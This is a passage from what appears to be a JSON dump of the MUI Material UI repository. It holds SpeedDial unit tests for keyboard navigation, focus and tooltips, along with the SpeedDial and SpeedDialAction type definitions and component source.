tooltip: { title: 'SpeedDialAction2' } }} />\n      </SpeedDial>,\n    );\n\n    const fab = screen.getByRole('button');\n    const actions = screen.getAllByRole('menuitem');\n\n    fireEvent.mouseEnter(fab);\n    clock.runAll();\n    expect(fab).to.have.attribute('aria-expanded', 'true');\n\n    fireEvent.mouseOver(actions[0]);\n    clock.runAll();\n    expect(screen.queryByRole('tooltip')).not.to.equal(null);\n\n    fireEvent.mouseLeave(actions[0]);\n    clock.runAll();\n    expect(fab).to.have.attribute('aria-expanded', 'false');\n\n    fireEvent.mouseEnter(fab);\n    clock.runAll();\n    expect(screen.queryByRole('tooltip')).to.equal(null);\n    expect(fab).to.have.attribute('aria-expanded', 'true');\n  });\n\n  describe('prop: onKeyDown', () => {\n    it('should be called when a key is pressed', async () => {\n      const handleKeyDown = spy();\n\n      render(\n        <SpeedDial {...defaultProps} onKeyDown={handleKeyDown}>\n          <FakeAction />\n        </SpeedDial>,\n      );\n\n      const buttonWrapper = screen.getByRole('button', { expanded: true });\n\n      fireEvent.keyDown(document.body, { key: 'TAB' });\n\n      await act(async () => {\n        buttonWrapper.focus();\n      });\n\n      fireEvent.keyDown(buttonWrapper, { key: ' ' });\n\n      expect(handleKeyDown.callCount).to.equal(1);\n      expect(handleKeyDown.args[0][0]).to.have.property('key', ' ');\n\n      await flushEffects();\n    });\n  });\n\n  describe('prop: direction', () => {\n    [\n      ['up', 'directionUp'],\n      ['down', 'directionDown'],\n      ['left', 'directionLeft'],\n      ['right', 'directionRight'],\n    ].forEach(([direction, className]) => {\n      it(`should place actions in the correct position when direction=${direction}`, () => {\n        render(\n          <SpeedDial {...defaultProps} direction={direction.toLowerCase()}>\n            <SpeedDialAction icon={icon} slotProps={{ tooltip: { title: 'action1' } }} />\n            <SpeedDialAction icon={icon} slotProps={{ tooltip: { title: 'action2' } }} />\n          </SpeedDial>,\n        );\n\n        expect(screen.getByRole('presentation')).to.have.class(classes[className]);\n      });\n    });\n\n    [\n      ['up', 'tooltipPlacementLeft'],\n      ['down', 'tooltipPlacementLeft'],\n      ['left', 'tooltipPlacementTop'],\n      ['right', 'tooltipPlacementTop'],\n    ].forEach(([direction, className]) => {\n      it(`should place the tooltip in the correct position when direction=${direction}`, () => {\n        render(\n          <SpeedDial {...defaultProps} open direction={direction.toLowerCase()}>\n            <SpeedDialAction icon={icon} slotProps={{ tooltip: { title: 'action1' } }} />\n            <SpeedDialAction icon={icon} slotProps={{ tooltip: { title: 'action2' } }} />\n          </SpeedDial>,\n        );\n\n        const actions = screen.getAllByRole('menuitem');\n        fireEvent.mouseOver(actions[0]);\n        clock.runAll();\n        expect(screen.getByRole('tooltip').firstChild).to.have.class(tooltipClasses[className]);\n      });\n    });\n  });\n\n  describe('keyboard', () => {\n    it('should open the speed dial and move to the first action without closing', async () => {\n      const handleOpen = spy();\n\n      render(\n        <SpeedDial ariaLabel=\"mySpeedDial\" onOpen={handleOpen}>\n          <SpeedDialAction slotProps={{ tooltip: { title: 'action1' } }} />\n          <SpeedDialAction slotProps={{ tooltip: { title: 'action2' } }} />\n        </SpeedDial>,\n      );\n\n      const fab = screen.getByRole('button');\n      await act(async () => {\n        fab.focus();\n      });\n      clock.tick();\n\n      expect(handleOpen.callCount).to.equal(1);\n      const actions = screen.getAllByRole('menuitem');\n      expect(actions.length).to.equal(2);\n      fireEvent.keyDown(fab, { key: 'ArrowUp' });\n      expect(document.activeElement).to.equal(actions[0]);\n      expect(fab).to.have.attribute('aria-expanded', 'true');\n\n      await flushEffects();\n    });\n\n    // JSDOM doesn't support :focus-visible\n    it.skipIf(isJsdom())(\n      'should reset the state of the tooltip when the speed dial is closed while it is open',\n      async function test() {\n        const handleOpen = spy();\n\n        render(\n          <SpeedDial ariaLabel=\"mySpeedDial\" onOpen={handleOpen}>\n            <SpeedDialAction slotProps={{ tooltip: { title: 'action1' } }} />\n            <SpeedDialAction slotProps={{ tooltip: { title: 'action2' } }} />\n          </SpeedDial>,\n        );\n\n        const fab = screen.getByRole('button');\n        const actions = screen.getAllByRole('menuitem');\n\n        await act(async () => {\n          fab.focus();\n        });\n        clock.runAll();\n\n        expect(fab).to.have.attribute('aria-expanded', 'true');\n\n        fireEvent.keyDown(fab, { key: 'ArrowUp' });\n        clock.runAll();\n        expect(screen.queryByRole('tooltip')).not.to.equal(null);\n\n        fireEvent.keyDown(actions[0], { key: 'Escape' });\n\n        clock.runAll();\n\n        expect(screen.queryByRole('tooltip')).to.equal(null);\n        expect(fab).to.have.attribute('aria-expanded', 'false');\n        expect(fab).toHaveFocus();\n\n        clock.runAll();\n\n        expect(screen.queryByRole('tooltip')).to.equal(null);\n        expect(fab).to.have.attribute('aria-expanded', 'false');\n        expect(fab).toHaveFocus();\n\n        await flushEffects();\n      },\n    );\n  });\n\n  describe('dial focus', () => {\n    let actionButtons;\n    let fabButton;\n\n    function NoTransition(props) {\n      const { children, in: inProp } = props;\n\n      if (!inProp) {\n        return null;\n      }\n      return children;\n    }\n\n    const renderSpeedDial = async (direction = 'up', actionCount = 4) => {\n      actionButtons = [];\n      fabButton = undefined;\n\n      render(\n        <SpeedDial\n          ariaLabel={`${direction}-actions-${actionCount}`}\n          FabProps={{\n            ref: (element) => {\n              fabButton = element;\n            },\n          }}\n          open\n          direction={direction}\n          slots={{ transition: NoTransition }}\n        >\n          {Array.from({ length: actionCount }, (_, index) => (\n            <SpeedDialAction\n              key={index}\n              slotProps={{\n                fab: {\n                  ref: (element) => {\n                    actionButtons[index] = element;\n                  },\n                },\n                tooltip: { title: `action${index}` },\n              }}\n              icon={icon}\n            />\n          ))}\n        </SpeedDial>,\n      );\n      await act(async () => {\n        fabButton.focus();\n      });\n\n      return screen;\n    };\n\n    /**\n     *\n     * @param actionIndex\n     * @returns the button of the nth SpeedDialAction or the Fab if -1\n     */\n    const getActionButton = (actionIndex) => {\n      if (actionIndex === -1) {\n        return fabButton;\n      }\n      return actionButtons[actionIndex];\n    };\n    /**\n     * @returns true if the button of the nth action is focused\n     */\n    const isActionFocused = (index) => {\n      const expectedFocusedElement = index === -1 ? fabButton : actionButtons[index];\n      return expectedFocusedElement === document.activeElement;\n    };\n\n    it('displays the actions on focus gain', async () => {\n      await renderSpeedDial();\n      expect(screen.getAllByRole('menuitem')).to.have.lengthOf(4);\n      expect(fabButton).to.have.attribute('aria-expanded', 'true');\n    });\n\n    it('considers arrow keys with the same initial orientation', async () => {\n      await renderSpeedDial();\n      fireEvent.keyDown(fabButton, { key: 'left' });\n      expect(isActionFocused(0)).to.equal(true);\n      fireEvent.keyDown(getActionButton(0), { key: 'up' });\n      expect(isActionFocused(0)).to.equal(true);\n      fireEvent.keyDown(getActionButton(0), { key: 'left' });\n      expect(isActionFocused(1)).to.equal(true);\n      fireEvent.keyDown(getActionButton(1), { key: 'right' });\n      expect(isActionFocused(0)).to.equal(true);\n\n      await flushEffects();\n    });\n\n    describe('actions navigation', () => {\n      /**\n       * tests a combination of arrow keys on a focused SpeedDial\n       */\n      const itTestCombination = (dialDirection, keys, expected) => {\n        it(`start dir ${dialDirection} with keys ${keys.join(',')}`, async () => {\n          const [firstKey, ...combination] = keys;\n          const [firstFocusedAction, ...foci] = expected;\n\n          await renderSpeedDial(dialDirection);\n\n          fireEvent.keyDown(fabButton, { key: firstKey });\n          expect(isActionFocused(firstFocusedAction)).to.equal(\n            true,\n            `focused action initial ${firstKey} should be ${firstFocusedAction}`,\n          );\n\n          for (let i = 0; i < combination.length; i += 1) {\n            const arrowKey = combination[i];\n            const previousFocusedAction = foci[i - 1] || firstFocusedAction;\n            const expectedFocusedAction = foci[i];\n            const combinationUntilNot = [firstKey, ...combination.slice(0, i + 1)];\n\n            fireEvent.keyDown(getActionButton(previousFocusedAction), {\n              key: arrowKey,\n            });\n            expect(isActionFocused(expectedFocusedAction)).to.equal(\n              true,\n              `focused action after ${combinationUntilNot.join(\n                ',',\n              )} should be ${expectedFocusedAction}`,\n            );\n          }\n\n          await flushEffects();\n        });\n      };\n\n      describe('considers the first arrow key press as forward navigation', () => {\n        itTestCombination('up', ['ArrowUp', 'ArrowUp', 'ArrowUp', 'ArrowDown'], [0, 1, 2, 1]);\n        itTestCombination('up', ['ArrowDown', 'ArrowDown', 'ArrowDown', 'ArrowUp'], [0, 1, 2, 1]);\n\n        itTestCombination(\n          'right',\n          ['ArrowRight', 'ArrowRight', 'ArrowRight', 'ArrowLeft'],\n          [0, 1, 2, 1],\n        );\n        itTestCombination(\n          'right',\n          ['ArrowLeft', 'ArrowLeft', 'ArrowLeft', 'ArrowRight'],\n          [0, 1, 2, 1],\n        );\n\n        itTestCombination('down', ['ArrowDown', 'ArrowDown', 'ArrowDown', 'ArrowUp'], [0, 1, 2, 1]);\n        itTestCombination('down', ['ArrowUp', 'ArrowUp', 'ArrowUp', 'ArrowDown'], [0, 1, 2, 1]);\n\n        itTestCombination(\n          'left',\n          ['ArrowLeft', 'ArrowLeft', 'ArrowLeft', 'ArrowRight'],\n          [0, 1, 2, 1],\n        );\n        itTestCombination(\n          'left',\n          ['ArrowRight', 'ArrowRight', 'ArrowRight', 'ArrowLeft'],\n          [0, 1, 2, 1],\n        );\n      });\n\n      describe('ignores array keys orthogonal to the direction', () => {\n        itTestCombination('up', ['ArrowUp', 'ArrowLeft', 'ArrowRight', 'ArrowUp'], [0, 0, 0, 1]);\n        itTestCombination(\n          'right',\n          ['ArrowRight', 'ArrowUp', 'ArrowDown', 'ArrowRight'],\n          [0, 0, 0, 1],\n        );\n        itTestCombination(\n          'down',\n          ['ArrowDown', 'ArrowLeft', 'ArrowRight', 'ArrowDown'],\n          [0, 0, 0, 1],\n        );\n        itTestCombination('left', ['ArrowLeft', 'ArrowUp', 'ArrowDown', 'ArrowLeft'], [0, 0, 0, 1]);\n      });\n\n      describe('does not wrap around', () => {\n        itTestCombination('up', ['ArrowUp', 'ArrowDown', 'ArrowDown', 'ArrowUp'], [0, -1, -1, 0]);\n        itTestCombination(\n          'right',\n          ['ArrowRight', 'ArrowLeft', 'ArrowLeft', 'ArrowRight'],\n          [0, -1, -1, 0],\n        );\n        itTestCombination('down', ['ArrowDown', 'ArrowUp', 'ArrowUp', 'ArrowDown'], [0, -1, -1, 0]);\n        itTestCombination(\n          'left',\n          ['ArrowLeft', 'ArrowRight', 'ArrowRight', 'ArrowLeft'],\n          [0, -1, -1, 0],\n        );\n      });\n    });\n  });\n\n  describe('dial focus with slotProps.fab', () => {\n    let actionButtons;\n    let fabButton;\n\n    function NoTransition(props) {\n      const { children, in: inProp } = props;\n\n      if (!inProp) {\n        return null;\n      }\n      return children;\n    }\n\n    const renderSpeedDial = async (direction = 'up', actionCount = 4) => {\n      actionButtons = [];\n      fabButton = undefined;\n\n      render(\n        <SpeedDial\n          ariaLabel={`${direction}-actions-${actionCount}`}\n          FabProps={{\n            ref: (element) => {\n              fabButton = element;\n            },\n          }}\n          open\n          direction={direction}\n          slots={{ transition: NoTransition }}\n        >\n          {Array.from({ length: actionCount }, (_, index) => (\n            <SpeedDialAction\n              key={index}\n              slotProps={{\n                fab: {\n                  ref: (element) => {\n                    actionButtons[index] = element;\n                  },\n                },\n                tooltip: { title: `action${index}` },\n              }}\n              icon={icon}\n            />\n          ))}\n        </SpeedDial>,\n      );\n      await act(async () => {\n        fabButton.focus();\n      });\n    };\n\n    /**\n     *\n     * @param actionIndex\n     * @returns the button of the nth SpeedDialAction or the Fab if -1\n     */\n    const getActionButton = (actionIndex) => {\n      if (actionIndex === -1) {\n        return fabButton;\n      }\n      return actionButtons[actionIndex];\n    };\n    /**\n     * @returns true if the button of the nth action is focused\n     */\n    const isActionFocused = (index) => {\n      const expectedFocusedElement = index === -1 ? fabButton : actionButtons[index];\n      return expectedFocusedElement === document.activeElement;\n    };\n\n    it('displays the actions on focus gain', async () => {\n      await renderSpeedDial();\n      expect(screen.getAllByRole('menuitem')).to.have.lengthOf(4);\n      expect(fabButton).to.have.attribute('aria-expanded', 'true');\n    });\n\n    it('considers arrow keys with the same initial orientation', async () => {\n      await renderSpeedDial();\n      fireEvent.keyDown(fabButton, { key: 'left' });\n      expect(isActionFocused(0)).to.equal(true);\n      fireEvent.keyDown(getActionButton(0), { key: 'up' });\n      expect(isActionFocused(0)).to.equal(true);\n      fireEvent.keyDown(getActionButton(0), { key: 'left' });\n      expect(isActionFocused(1)).to.equal(true);\n      fireEvent.keyDown(getActionButton(1), { key: 'right' });\n      expect(isActionFocused(0)).to.equal(true);\n\n      await flushEffects();\n    });\n\n    describe('actions navigation', () => {\n      /**\n       * tests a combination of arrow keys on a focused SpeedDial\n       */\n      const itTestCombination = (dialDirection, keys, expected) => {\n        it(`start dir ${dialDirection} with keys ${keys.join(',')}`, async () => {\n          const [firstKey, ...combination] = keys;\n          const [firstFocusedAction, ...foci] = expected;\n\n          await renderSpeedDial(dialDirection);\n          fireEvent.keyDown(fabButton, { key: firstKey });\n          expect(isActionFocused(firstFocusedAction)).to.equal(\n            true,\n            `focused action initial ${firstKey} should be ${firstFocusedAction}`,\n          );\n\n          for (let i = 0; i < combination.length; i += 1) {\n            const arrowKey = combination[i];\n            const previousFocusedAction = foci[i - 1] || firstFocusedAction;\n            const expectedFocusedAction = foci[i];\n            const combinationUntilNot = [firstKey, ...combination.slice(0, i + 1)];\n            fireEvent.keyDown(getActionButton(previousFocusedAction), {\n              key: arrowKey,\n            });\n            expect(isActionFocused(expectedFocusedAction)).to.equal(\n              true,\n              `focused action after ${combinationUntilNot.join(\n                ',',\n              )} should be ${expectedFocusedAction}`,\n            );\n          }\n          await flushEffects();\n        });\n      };\n\n      describe('considers the first arrow key press as forward navigation', () => {\n        itTestCombination('up', ['ArrowUp', 'ArrowUp', 'ArrowUp', 'ArrowDown'], [0, 1, 2, 1]);\n        itTestCombination('up', ['ArrowDown', 'ArrowDown', 'ArrowDown', 'ArrowUp'], [0, 1, 2, 1]);\n\n        itTestCombination(\n          'right',\n          ['ArrowRight', 'ArrowRight', 'ArrowRight', 'ArrowLeft'],\n          [0, 1, 2, 1],\n        );\n        itTestCombination(\n          'right',\n          ['ArrowLeft', 'ArrowLeft', 'ArrowLeft', 'ArrowRight'],\n          [0, 1, 2, 1],\n        );\n\n        itTestCombination('down', ['ArrowDown', 'ArrowDown', 'ArrowDown', 'ArrowUp'], [0, 1, 2, 1]);\n        itTestCombination('down', ['ArrowUp', 'ArrowUp', 'ArrowUp', 'ArrowDown'], [0, 1, 2, 1]);\n\n        itTestCombination(\n          'left',\n          ['ArrowLeft', 'ArrowLeft', 'ArrowLeft', 'ArrowRight'],\n          [0, 1, 2, 1],\n        );\n        itTestCombination(\n          'left',\n          ['ArrowRight', 'ArrowRight', 'ArrowRight', 'ArrowLeft'],\n          [0, 1, 2, 1],\n        );\n      });\n\n      describe('ignores array keys orthogonal to the direction', () => {\n        itTestCombination('up', ['ArrowUp', 'ArrowLeft', 'ArrowRight', 'ArrowUp'], [0, 0, 0, 1]);\n        itTestCombination(\n          'right',\n          ['ArrowRight', 'ArrowUp', 'ArrowDown', 'ArrowRight'],\n          [0, 0, 0, 1],\n        );\n        itTestCombination(\n          'down',\n          ['ArrowDown', 'ArrowLeft', 'ArrowRight', 'ArrowDown'],\n          [0, 0, 0, 1],\n        );\n        itTestCombination('left', ['ArrowLeft', 'ArrowUp', 'ArrowDown', 'ArrowLeft'], [0, 0, 0, 1]);\n      });\n\n      describe('does not wrap around', () => {\n        itTestCombination('up', ['ArrowUp', 'ArrowDown', 'ArrowDown', 'ArrowUp'], [0, -1, -1, 0]);\n        itTestCombination(\n          'right',\n          ['ArrowRight', 'ArrowLeft', 'ArrowLeft', 'ArrowRight'],\n          [0, -1, -1, 0],\n        );\n        itTestCombination('down', ['ArrowDown', 'ArrowUp', 'ArrowUp', 'ArrowDown'], [0, -1, -1, 0]);\n        itTestCombination(\n          'left',\n          ['ArrowLeft', 'ArrowRight', 'ArrowRight', 'ArrowLeft'],\n          [0, -1, -1, 0],\n        );\n      });\n    });\n  });\n\n  describe('prop: transitionDuration', () => {\n    it.skipIf(isJsdom())('should render the default theme values by default', function test() {\n      const theme = createTheme();\n      const enteringScreenDurationInSeconds = theme.transitions.duration.enteringScreen / 1000;\n      render(<SpeedDial data-testid=\"speedDial\" {...defaultProps} />);\n\n      const child = screen.getByTestId('speedDial').firstChild;\n      expect(child).toHaveComputedStyle({\n        transitionDuration: `${enteringScreenDurationInSeconds}s`,\n      });\n    });\n\n    it.skipIf(isJsdom())('should render the custom theme values', function test() {\n      const theme = createTheme({\n        transitions: {\n          duration: {\n            enteringScreen: 1,\n          },\n        },\n      });\n\n      render(\n        <ThemeProvider theme={theme}>\n          <SpeedDial data-testid=\"speedDial\" {...defaultProps} />,\n        </ThemeProvider>,\n      );\n\n      const child = screen.getByTestId('speedDial').firstChild;\n      expect(child).toHaveComputedStyle({ transitionDuration: '0.001s' });\n    });\n\n    it.skipIf(isJsdom())('should render the values provided via prop', function test() {\n      render(<SpeedDial data-testid=\"speedDial\" {...defaultProps} transitionDuration={1} />);\n\n      const child = screen.getByTestId('speedDial').firstChild;\n      expect(child).toHaveComputedStyle({ transitionDuration: '0.001s' });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/SpeedDial/index.d.ts",
    "content": "export { default } from './SpeedDial';\nexport * from './SpeedDial';\n\nexport { default as speedDialClasses } from './speedDialClasses';\nexport * from './speedDialClasses';\n"
  },
  {
    "path": "packages/mui-material/src/SpeedDial/index.js",
    "content": "export { default } from './SpeedDial';\n\nexport { default as speedDialClasses } from './speedDialClasses';\nexport * from './speedDialClasses';\n"
  },
  {
    "path": "packages/mui-material/src/SpeedDial/speedDialClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface SpeedDialClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** Styles applied to the Fab component. */\n  fab: string;\n  /** Styles applied to the root element if direction=\"up\" */\n  directionUp: string;\n  /** Styles applied to the root element if direction=\"down\" */\n  directionDown: string;\n  /** Styles applied to the root element if direction=\"left\" */\n  directionLeft: string;\n  /** Styles applied to the root element if direction=\"right\" */\n  directionRight: string;\n  /** Styles applied to the actions (`children` wrapper) element. */\n  actions: string;\n  /** Styles applied to the actions (`children` wrapper) element if `open={false}`. */\n  actionsClosed: string;\n}\n\nexport type SpeedDialClassKey = keyof SpeedDialClasses;\n\nexport function getSpeedDialUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiSpeedDial', slot);\n}\n\nconst speedDialClasses: SpeedDialClasses = generateUtilityClasses('MuiSpeedDial', [\n  'root',\n  'fab',\n  'directionUp',\n  'directionDown',\n  'directionLeft',\n  'directionRight',\n  'actions',\n  'actionsClosed',\n]);\n\nexport default speedDialClasses;\n"
  },
  {
    "path": "packages/mui-material/src/SpeedDialAction/SpeedDialAction.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { Theme } from '../styles';\nimport { InternalStandardProps as StandardProps } from '../internal';\nimport { FabProps } from '../Fab';\nimport { TooltipProps } from '../Tooltip';\nimport { SpeedDialActionClasses } from './speedDialActionClasses';\nimport { CreateSlotsAndSlotProps, SlotProps } from '../utils/types';\n\nexport interface SpeedDialActionSlots {\n  /**\n   * The component that renders the fab.\n   * @default Fab\n   */\n  fab?: React.ElementType | undefined;\n  /**\n   * The component that renders the tooltip.\n   * @default Tooltip\n   */\n  tooltip?: React.ElementType | undefined;\n  /**\n   * The component that renders the static tooltip.\n   * @default 'span'\n   */\n  staticTooltip?: React.ElementType | undefined;\n  /**\n   * The component that renders the static tooltip label.\n   * @default 'span'\n   */\n  staticTooltipLabel?: React.ElementType | undefined;\n}\n\nexport interface SpeedDialActionFabSlotPropsOverrides {}\nexport interface SpeedDialActionTooltipSlotPropsOverrides {}\nexport interface SpeedDialActionStaticTooltipSlotPropsOverrides {}\nexport interface SpeedDialActionStaticTooltipLabelSlotPropsOverrides {}\n\nexport type SpeedDialActionSlotsAndSlotProps = CreateSlotsAndSlotProps<\n  SpeedDialActionSlots,\n  {\n    /**\n     * Props forwarded to the fab slot.\n     * By default, the available props are based on the [Fab](https://mui.com/material-ui/api/fab/#props) component.\n     */\n    fab: SlotProps<\n      React.ElementType<FabProps>,\n      SpeedDialActionFabSlotPropsOverrides,\n      SpeedDialActionOwnerState\n    >;\n    /**\n     * Props forwarded to the tooltip slot.\n     * By default, the available props are based on the [Tooltip](https://mui.com/material-ui/api/tooltip/#props) component.\n     */\n    tooltip: SlotProps<\n      React.ElementType<TooltipProps>,\n      SpeedDialActionTooltipSlotPropsOverrides,\n      SpeedDialActionOwnerState\n    >;\n    /**\n     * Props forwarded to the static tooltip slot.\n     * By default, the available props are based on a span element.\n     */\n    staticTooltip: SlotProps<\n      'span',\n      SpeedDialActionStaticTooltipSlotPropsOverrides,\n      SpeedDialActionOwnerState\n    >;\n    /**\n     * Props forwarded to the static tooltip label slot.\n     * By default, the available props are based on a span element.\n     */\n    staticTooltipLabel: SlotProps<\n      'span',\n      SpeedDialActionStaticTooltipLabelSlotPropsOverrides,\n      SpeedDialActionOwnerState\n    >;\n  }\n>;\n\nexport interface SpeedDialActionProps\n  extends\n    Omit<StandardProps<Partial<TooltipProps>, 'children'>, 'slotProps' | 'slots'>,\n    SpeedDialActionSlotsAndSlotProps {\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<SpeedDialActionClasses> | undefined;\n  /**\n   * Adds a transition delay, to allow a series of SpeedDialActions to be animated.\n   * @default 0\n   */\n  delay?: number | undefined;\n  /**\n   * The icon to display in the SpeedDial Fab.\n   */\n  icon?: React.ReactNode;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n}\n\n/**\n *\n * Demos:\n *\n * - [Speed Dial](https://next.mui.com/material-ui/react-speed-dial/)\n *\n * API:\n *\n * - [SpeedDialAction API](https://next.mui.com/material-ui/api/speed-dial-action/)\n * - inherits [Tooltip API](https://next.mui.com/material-ui/api/tooltip/)\n */\nexport default function SpeedDialAction(props: SpeedDialActionProps): React.JSX.Element;\n\nexport interface SpeedDialActionOwnerState extends Omit<\n  SpeedDialActionProps,\n  'slots' | 'slotProps'\n> {}\n"
  },
  {
    "path": "packages/mui-material/src/SpeedDialAction/SpeedDialAction.js",
    "content": "'use client';\n// @inheritedComponent Tooltip\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport composeClasses from '@mui/utils/composeClasses';\nimport { emphasize } from '@mui/system/colorManipulator';\nimport { styled } from '../zero-styled';\nimport memoTheme from '../utils/memoTheme';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport Fab from '../Fab';\nimport Tooltip from '../Tooltip';\nimport capitalize from '../utils/capitalize';\nimport speedDialActionClasses, { getSpeedDialActionUtilityClass } from './speedDialActionClasses';\nimport useSlot from '../utils/useSlot';\n\nconst useUtilityClasses = (ownerState) => {\n  const { open, tooltipPlacement, classes } = ownerState;\n\n  const slots = {\n    fab: ['fab', !open && 'fabClosed'],\n    staticTooltip: [\n      'staticTooltip',\n      `tooltipPlacement${capitalize(tooltipPlacement)}`,\n      !open && 'staticTooltipClosed',\n    ],\n    staticTooltipLabel: ['staticTooltipLabel'],\n  };\n\n  return composeClasses(slots, getSpeedDialActionUtilityClass, classes);\n};\n\nconst SpeedDialActionFab = styled(Fab, {\n  name: 'MuiSpeedDialAction',\n  slot: 'Fab',\n  skipVariantsResolver: false,\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n\n    return [styles.fab, !ownerState.open && styles.fabClosed];\n  },\n})(\n  memoTheme(({ theme }) => ({\n    margin: 8,\n    color: (theme.vars || theme).palette.text.secondary,\n    backgroundColor: (theme.vars || theme).palette.background.paper,\n    '&:hover': {\n      backgroundColor: theme.vars\n        ? theme.vars.palette.SpeedDialAction.fabHoverBg\n        : emphasize(theme.palette.background.paper, 0.15),\n    },\n    transition: `${theme.transitions.create('transform', {\n      duration: theme.transitions.duration.shorter,\n    })}, opacity 0.8s`,\n    opacity: 1,\n    variants: [\n      {\n        props: ({ ownerState }) => !ownerState.open,\n        style: {\n          opacity: 0,\n          transform: 'scale(0)',\n        },\n      },\n    ],\n  })),\n);\n\nconst SpeedDialActionStaticTooltip = styled('span', {\n  name: 'MuiSpeedDialAction',\n  slot: 'StaticTooltip',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n\n    return [\n      styles.staticTooltip,\n      !ownerState.open && styles.staticTooltipClosed,\n      styles[`tooltipPlacement${capitalize(ownerState.tooltipPlacement)}`],\n    ];\n  },\n})(\n  memoTheme(({ theme }) => ({\n    position: 'relative',\n    display: 'flex',\n    alignItems: 'center',\n    [`& .${speedDialActionClasses.staticTooltipLabel}`]: {\n      transition: theme.transitions.create(['transform', 'opacity'], {\n        duration: theme.transitions.duration.shorter,\n      }),\n      opacity: 1,\n    },\n    variants: [\n      {\n        props: ({ ownerState }) => !ownerState.open,\n        style: {\n          [`& .${speedDialActionClasses.staticTooltipLabel}`]: {\n            opacity: 0,\n            transform: 'scale(0.5)',\n          },\n        },\n      },\n      {\n        props: {\n          tooltipPlacement: 'left',\n        },\n        style: {\n          [`& .${speedDialActionClasses.staticTooltipLabel}`]: {\n            transformOrigin: '100% 50%',\n            right: '100%',\n            marginRight: 8,\n          },\n        },\n      },\n      {\n        props: {\n          tooltipPlacement: 'right',\n        },\n        style: {\n          [`& .${speedDialActionClasses.staticTooltipLabel}`]: {\n            transformOrigin: '0% 50%',\n            left: '100%',\n            marginLeft: 8,\n          },\n        },\n      },\n    ],\n  })),\n);\n\nconst SpeedDialActionStaticTooltipLabel = styled('span', {\n  name: 'MuiSpeedDialAction',\n  slot: 'StaticTooltipLabel',\n})(\n  memoTheme(({ theme }) => ({\n    position: 'absolute',\n    ...theme.typography.body1,\n    backgroundColor: (theme.vars || theme).palette.background.paper,\n    borderRadius: (theme.vars || theme).shape.borderRadius,\n    boxShadow: (theme.vars || theme).shadows[1],\n    color: (theme.vars || theme).palette.text.secondary,\n    padding: '4px 16px',\n    wordBreak: 'keep-all',\n  })),\n);\n\nconst SpeedDialAction = React.forwardRef(function SpeedDialAction(inProps, ref) {\n  const props = useDefaultProps({ props: inProps, name: 'MuiSpeedDialAction' });\n  const { className, delay = 0, icon, id, open, slots = {}, slotProps = {}, ...other } = props;\n\n  const resolvedTooltipSlotProps =\n    typeof slotProps.tooltip === 'function' ? slotProps.tooltip(props) : (slotProps.tooltip ?? {});\n  const tooltipPlacement = resolvedTooltipSlotProps.placement ?? 'left';\n\n  const ownerState = { ...props, tooltipPlacement };\n  const classes = useUtilityClasses(ownerState);\n\n  const externalForwardedProps = {\n    slots,\n    slotProps,\n  };\n\n  const [tooltipOpen, setTooltipOpen] = React.useState(resolvedTooltipSlotProps.open ?? false);\n\n  const handleTooltipClose = () => {\n    setTooltipOpen(false);\n  };\n\n  const handleTooltipOpen = () => {\n    setTooltipOpen(true);\n  };\n\n  const transitionStyle = { transitionDelay: `${delay}ms` };\n\n  const [FabSlot, fabSlotProps] = useSlot('fab', {\n    elementType: SpeedDialActionFab,\n    externalForwardedProps,\n    ownerState,\n    shouldForwardComponentProp: true,\n    className: clsx(classes.fab, className),\n    additionalProps: {\n      style: transitionStyle,\n      tabIndex: -1,\n      role: 'menuitem',\n      size: 'small',\n    },\n  });\n\n  const [TooltipSlot, tooltipSlotProps] = useSlot('tooltip', {\n    elementType: Tooltip,\n    externalForwardedProps,\n    shouldForwardComponentProp: true,\n    ref,\n    additionalProps: {\n      id,\n    },\n    ownerState,\n    getSlotProps: (handlers) => ({\n      ...handlers,\n      onClose: (event) => {\n        handlers.onClose?.(event);\n        handleTooltipClose();\n      },\n      onOpen: (event) => {\n        handlers.onOpen?.(event);\n        handleTooltipOpen();\n      },\n    }),\n  });\n\n  const [StaticTooltipSlot, staticTooltipSlotProps] = useSlot('staticTooltip', {\n    elementType: SpeedDialActionStaticTooltip,\n    externalForwardedProps,\n    ownerState,\n    ref,\n    className: classes.staticTooltip,\n    additionalProps: {\n      id,\n    },\n  });\n\n  const [StaticTooltipLabelSlot, staticTooltipLabelSlotProps] = useSlot('staticTooltipLabel', {\n    elementType: SpeedDialActionStaticTooltipLabel,\n    externalForwardedProps,\n    ownerState,\n    className: classes.staticTooltipLabel,\n    additionalProps: {\n      style: transitionStyle,\n      id: `${id}-label`,\n    },\n  });\n\n  const fab = <FabSlot {...fabSlotProps}>{icon}</FabSlot>;\n\n  if (tooltipSlotProps.open) {\n    return (\n      <StaticTooltipSlot {...staticTooltipSlotProps} {...other}>\n        <StaticTooltipLabelSlot {...staticTooltipLabelSlotProps}>\n          {tooltipSlotProps.title}\n        </StaticTooltipLabelSlot>\n        {React.cloneElement(fab, {\n          'aria-labelledby': `${id}-label`,\n        })}\n      </StaticTooltipSlot>\n    );\n  }\n\n  if (!open && tooltipOpen) {\n    setTooltipOpen(false);\n  }\n\n  return (\n    <TooltipSlot\n      {...tooltipSlotProps}\n      title={tooltipSlotProps.title}\n      open={open && tooltipOpen}\n      placement={tooltipSlotProps.placement}\n      classes={tooltipSlotProps.classes}\n      {...other}\n    >\n      {fab}\n    </TooltipSlot>\n  );\n});\n\nSpeedDialAction.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * Adds a transition 